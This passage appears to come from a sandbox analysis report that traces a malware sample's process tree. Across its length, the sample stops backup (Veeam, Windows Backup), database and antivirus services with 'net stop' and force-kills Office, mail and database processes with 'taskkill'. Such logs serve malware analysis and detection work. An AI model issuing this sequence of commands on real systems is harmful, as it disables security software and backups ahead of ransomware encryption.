C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y
3⤵
PID:1436

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher" /y
2⤵
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher" /y
3⤵
PID:1496

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
2⤵
PID:2192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
3⤵
PID:2540

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$SBSMONITORING" /y
2⤵
PID:2512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y
3⤵
PID:2640

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$SHAREPOINT" /y
2⤵
PID:2556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$SQL_2008" /y
2⤵
PID:2460

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y
3⤵
PID:1220

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$SYSTEM_BGC" /y
2⤵
PID:3024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y
3⤵
PID:328

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$TPS" /y
2⤵
PID:1912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y
3⤵
PID:1612

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$TPSAMA" /y
2⤵
PID:1836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y
3⤵
PID:672

C:\Windows\SysWOW64\net.exe
net stop "MSSQLSERVER" /y
2⤵
PID:956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLSERVER" /y
3⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop "MSSQLServerADHelper100" /y
2⤵
PID:1448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y
3⤵
PID:2840

C:\Windows\SysWOW64\net.exe
net stop "MSSQLServerOLAPService" /y
2⤵
PID:588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y
3⤵
PID:1196

C:\Windows\SysWOW64\net.exe
net stop "MySQL80" /y
2⤵
PID:1744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MySQL80" /y
3⤵
PID:2792

C:\Windows\SysWOW64\net.exe
net stop "MySQL57" /y
2⤵
PID:1900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MySQL57" /y
3⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net stop "ntrtscan" /y
2⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ntrtscan" /y
3⤵
PID:1308

C:\Windows\SysWOW64\net.exe
net stop "OracleClientCache80" /y
2⤵
PID:952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "OracleClientCache80" /y
3⤵
PID:2968

C:\Windows\SysWOW64\net.exe
net stop "PDVFSService" /y
2⤵
PID:1660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "PDVFSService" /y
3⤵
PID:1688

C:\Windows\SysWOW64\net.exe
net stop "POP3Svc" /y
2⤵
PID:2976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "POP3Svc" /y
3⤵
PID:3048

C:\Windows\SysWOW64\net.exe
net stop "ReportServer" /y
2⤵
PID:2352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer" /y
3⤵
PID:1940

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$SQL_2008" /y
2⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$SYSTEM_BGC" /y
2⤵
PID:2400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y
3⤵
PID:2944

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$TPS" /y
2⤵
PID:2360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$TPS" /y
3⤵
PID:1596

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$TPSAMA" /y
2⤵
PID:780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y
3⤵
PID:1416

C:\Windows\SysWOW64\net.exe
net stop "RESvc" /y
2⤵
PID:2040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "RESvc" /y
3⤵
PID:2204

C:\Windows\SysWOW64\net.exe
net stop "sacsvr" /y
2⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "sacsvr" /y
3⤵
PID:2948

C:\Windows\SysWOW64\net.exe
net stop "SamSs" /y
2⤵
PID:2344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SamSs" /y
3⤵
PID:1008

C:\Windows\SysWOW64\net.exe
net stop "SAVAdminService" /y
2⤵
PID:988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SAVAdminService" /y
3⤵
PID:2964

C:\Windows\SysWOW64\net.exe
net stop "SAVService" /y
2⤵
PID:948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SAVService" /y
3⤵
PID:1996

C:\Windows\SysWOW64\net.exe
net stop "SDRSVC" /y
2⤵
PID:1652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SDRSVC" /y
3⤵
PID:2636

C:\Windows\SysWOW64\net.exe
net stop "SepMasterService" /y
2⤵
PID:2128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SepMasterService" /y
3⤵
PID:1860

C:\Windows\SysWOW64\net.exe
net stop "ShMonitor" /y
2⤵
PID:2808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ShMonitor" /y
3⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop "Smcinst" /y
2⤵
PID:2788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Smcinst" /y
3⤵
PID:1748

C:\Windows\SysWOW64\net.exe
net stop "SmcService" /y
2⤵
PID:980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SmcService" /y
3⤵
PID:2184

C:\Windows\SysWOW64\net.exe
net stop "SMTPSvc" /y
2⤵
PID:1432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SMTPSvc" /y
3⤵
PID:2812

C:\Windows\SysWOW64\net.exe
net stop "SNAC" /y
2⤵
PID:2504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SNAC" /y
3⤵
PID:772

C:\Windows\SysWOW64\net.exe
net stop "SntpService" /y
2⤵
PID:360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SntpService" /y
3⤵
PID:1180

C:\Windows\SysWOW64\net.exe
net stop "sophossps" /y
2⤵
PID:348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "sophossps" /y
3⤵
PID:2856

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$BKUPEXEC" /y
2⤵
PID:1892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y
3⤵
PID:1712

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$ECWDB2" /y
2⤵
PID:1092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$PRACTTICEBGC" /y
2⤵
PID:2576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y
3⤵
PID:1116

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$PRACTTICEMGT" /y
2⤵
PID:2916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y
3⤵
PID:1364

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$PROFXENGAGEMENT" /y
2⤵
PID:1544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y
3⤵
PID:1732

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SBSMONITORING" /y
2⤵
PID:896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y
3⤵
PID:2152

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SHAREPOINT" /y
2⤵
PID:3080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y
3⤵
PID:3100

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SQL_2008" /y
2⤵
PID:3108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y
3⤵
PID:3128

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SYSTEM_BGC" /y
2⤵
PID:3136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y
3⤵
PID:3156

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$TPS" /y
2⤵
PID:3164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$TPS" /y
3⤵
PID:3184

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$TPSAMA" /y
2⤵
PID:3192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y
3⤵
PID:3212

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$VEEAMSQL2008R2" /y
2⤵
PID:3220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
3⤵
PID:3240

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$VEEAMSQL2012" /y
2⤵
PID:3248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y
3⤵
PID:3268

C:\Windows\SysWOW64\net.exe
net stop "SQLBrowser" /y
2⤵
PID:3276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLBrowser" /y
3⤵
PID:3296

C:\Windows\SysWOW64\net.exe
net stop "SQLSafeOLRService" /y
2⤵
PID:3304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLSafeOLRService" /y
3⤵
PID:3324

C:\Windows\SysWOW64\net.exe
net stop "SQLSERVERAGENT" /y
2⤵
PID:3332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
3⤵
PID:3352

C:\Windows\SysWOW64\net.exe
net stop "SQLTELEMETRY" /y
2⤵
PID:3360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLTELEMETRY" /y
3⤵
PID:3380

C:\Windows\SysWOW64\net.exe
net stop "SQLTELEMETRY$ECWDB2" /y
2⤵
PID:3388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y
3⤵
PID:3408

C:\Windows\SysWOW64\net.exe
net stop "SQLWriter" /y
2⤵
PID:3416

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLWriter" /y
3⤵
PID:3436

C:\Windows\SysWOW64\net.exe
net stop "SstpSvc" /y
2⤵
PID:3444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SstpSvc" /y
3⤵
PID:3464

C:\Windows\SysWOW64\net.exe
net stop "svcGenericHost" /y
2⤵
PID:3472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "svcGenericHost" /y
3⤵
PID:3492

C:\Windows\SysWOW64\net.exe
net stop "swi_filter" /y
2⤵
PID:3500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "swi_filter" /y
3⤵
PID:3520

C:\Windows\SysWOW64\net.exe
net stop "swi_service" /y
2⤵
PID:3528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "swi_service" /y
3⤵
PID:3548

C:\Windows\SysWOW64\net.exe
net stop "swi_update_64" /y
2⤵
PID:3556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "swi_update_64" /y
3⤵
PID:3580

C:\Windows\SysWOW64\net.exe
net stop "TmCCSF" /y
2⤵
PID:3588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TmCCSF" /y
3⤵
PID:3608

C:\Windows\SysWOW64\net.exe
net stop "tmlisten" /y
2⤵
PID:3616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "tmlisten" /y
3⤵
PID:3636

C:\Windows\SysWOW64\net.exe
net stop "TrueKey" /y
2⤵
PID:3644

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TrueKey" /y
3⤵
PID:3664

C:\Windows\SysWOW64\net.exe
net stop "TrueKeyScheduler" /y
2⤵
PID:3672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TrueKeyScheduler" /y
3⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop "TrueKeyServiceHelper" /y
2⤵
PID:3700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y
3⤵
PID:3720

C:\Windows\SysWOW64\net.exe
net stop "UI0Detect" /y
2⤵
PID:3728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "UI0Detect" /y
3⤵
PID:3748

C:\Windows\SysWOW64\net.exe
net stop "VeeamBackupSvc" /y
2⤵
PID:3756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamBackupSvc" /y
3⤵
PID:3776

C:\Windows\SysWOW64\net.exe
net stop "VeeamBrokerSvc" /y
2⤵
PID:3784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamBrokerSvc" /y
3⤵
PID:3804

C:\Windows\SysWOW64\net.exe
net stop "VeeamCatalogSvc" /y
2⤵
PID:3812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamCatalogSvc" /y
3⤵
PID:3832

C:\Windows\SysWOW64\net.exe
net stop "VeeamCloudSvc" /y
2⤵
PID:3840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamCloudSvc" /y
3⤵
PID:3860

C:\Windows\SysWOW64\net.exe
net stop "VeeamDeploymentService" /y
2⤵
PID:3868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamDeploymentService" /y
3⤵
PID:3888

C:\Windows\SysWOW64\net.exe
net stop "VeeamDeploySvc" /y
2⤵
PID:3896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamDeploySvc" /y
3⤵
PID:3916

C:\Windows\SysWOW64\net.exe
net stop "VeeamEnterpriseManagerSvc" /y
2⤵
PID:3924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y
3⤵
PID:3944

C:\Windows\SysWOW64\net.exe
net stop "VeeamMountSvc" /y
2⤵
PID:3952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamMountSvc" /y
3⤵
PID:3972

C:\Windows\SysWOW64\net.exe
net stop "VeeamNFSSvc" /y
2⤵
PID:3980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamNFSSvc" /y
3⤵
PID:4000

C:\Windows\SysWOW64\net.exe
net stop "VeeamRESTSvc" /y
2⤵
PID:4008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamRESTSvc" /y
3⤵
PID:4028

C:\Windows\SysWOW64\net.exe
net stop "VeeamTransportSvc" /y
2⤵
PID:4036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamTransportSvc" /y
3⤵
PID:4056

C:\Windows\SysWOW64\net.exe
net stop "W3Svc" /y
2⤵
PID:4064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "W3Svc" /y
3⤵
PID:4084

C:\Windows\SysWOW64\net.exe
net stop "wbengine" /y
2⤵
PID:4092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "wbengine" /y
3⤵
PID:3104

C:\Windows\SysWOW64\net.exe
net stop "WRSVC" /y
2⤵
PID:3088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "WRSVC" /y
3⤵
PID:3148

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$VEEAMSQL2008R2" /y
2⤵
PID:3152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
3⤵
PID:3172

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$VEEAMSQL2008R2" /y
2⤵
PID:3216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
3⤵
PID:3236

C:\Windows\SysWOW64\net.exe
net stop "VeeamHvIntegrationSvc" /y
2⤵
PID:3260

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y
3⤵
PID:3300

C:\Windows\SysWOW64\net.exe
net stop "swi_update" /y
2⤵
PID:3284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "swi_update" /y
3⤵
PID:3344

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$CXDB" /y
2⤵
PID:3348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$CXDB" /y
3⤵
PID:3368

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$CITRIX_METAFRAME" /y
2⤵
PID:3412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y
3⤵
PID:3432

C:\Windows\SysWOW64\net.exe
net stop "SQL Backups" /y
2⤵
PID:3456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQL Backups" /y
3⤵
PID:3496

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$PROD" /y
2⤵
PID:3480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$PROD" /y
3⤵
PID:3540

C:\Windows\SysWOW64\net.exe
net stop "Zoolz 2 Service" /y
2⤵
PID:3544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Zoolz 2 Service" /y
3⤵
PID:3600

C:\Windows\SysWOW64\net.exe
net stop "MSSQLServerADHelper" /y
2⤵
PID:3604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLServerADHelper" /y
3⤵
PID:3624

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$PROD" /y
2⤵
PID:3668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$PROD" /y
3⤵
PID:3688

C:\Windows\SysWOW64\net.exe
net stop "msftesql$PROD" /y
2⤵
PID:3712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "msftesql$PROD" /y
3⤵
PID:3752

C:\Windows\SysWOW64\net.exe
net stop "NetMsmqActivator" /y
2⤵
PID:3736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetMsmqActivator" /y
3⤵
PID:3796

C:\Windows\SysWOW64\net.exe
net stop "EhttpSrv" /y
2⤵
PID:3800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "EhttpSrv" /y
3⤵
PID:3820

C:\Windows\SysWOW64\net.exe
net stop "ekrn" /y
2⤵
PID:3864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ekrn" /y
3⤵
PID:3884

C:\Windows\SysWOW64\net.exe
net stop "ESHASRV" /y
2⤵
PID:3908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ESHASRV" /y
3⤵
PID:3948

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SOPHOS" /y
2⤵
PID:3932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y
3⤵
PID:3992

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SOPHOS" /y
2⤵
PID:3996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y
3⤵
PID:4016

C:\Windows\SysWOW64\net.exe
net stop "AVP" /y
2⤵
PID:4060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "AVP" /y
3⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop "klnagent" /y
2⤵
PID:280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "klnagent" /y
3⤵
PID:3160

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SQLEXPRESS" /y
2⤵
PID:3132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y
3⤵
PID:3232

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SQLEXPRESS" /y
2⤵
PID:3244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y
3⤵
PID:3288

C:\Windows\SysWOW64\net.exe
net stop "wbengine" /y
2⤵
PID:3320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "wbengine" /y
3⤵
PID:3400

C:\Windows\SysWOW64\net.exe
net stop "kavfsslp" /y
2⤵
PID:3372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "kavfsslp" /y
3⤵
PID:3452

C:\Windows\SysWOW64\net.exe
net stop "KAVFSGT" /y
2⤵
PID:3484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "KAVFSGT" /y
3⤵
PID:3524

C:\Windows\SysWOW64\net.exe
net stop "KAVFS" /y
2⤵
PID:3612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "KAVFS" /y
3⤵
PID:3632

C:\Windows\SysWOW64\net.exe
net stop "mfefire" /y
2⤵
PID:3684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "mfefire" /y
3⤵
PID:3744

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM zoolz.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3716

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM agntsvc.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM dbeng50.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3092

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM dbsnmp.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3376

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM encsvc.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3640

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM excel.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4032

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM firefoxconfig.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3116

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM infopath.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3264

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM isqlplussvc.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3312

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM msaccess.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM msftesql.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3292

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mspub.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3228

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mydesktopqos.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mydesktopservice.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3516

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mysqld.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3552

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mysqld-nt.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3836

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mysqld-opt.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3424

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM ocautoupds.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3396

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM ocomm.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3656

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM ocssd.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3572

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM onenote.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4072

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM oracle.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM outlook.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4108

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM powerpnt.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4148

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqbcoreservice.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlagent.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4228

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlbrowser.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlservr.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4312

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlwriter.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM steam.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4392

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM synctime.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4432

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM tbirdconfig.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM thebat.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM thebat64.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM thunderbird.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4592

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM visio.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4632

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM winword.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM wordpad.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4712

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM xfssvccon.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4756

C:\Windows\SysWOW64\taskkill.exe
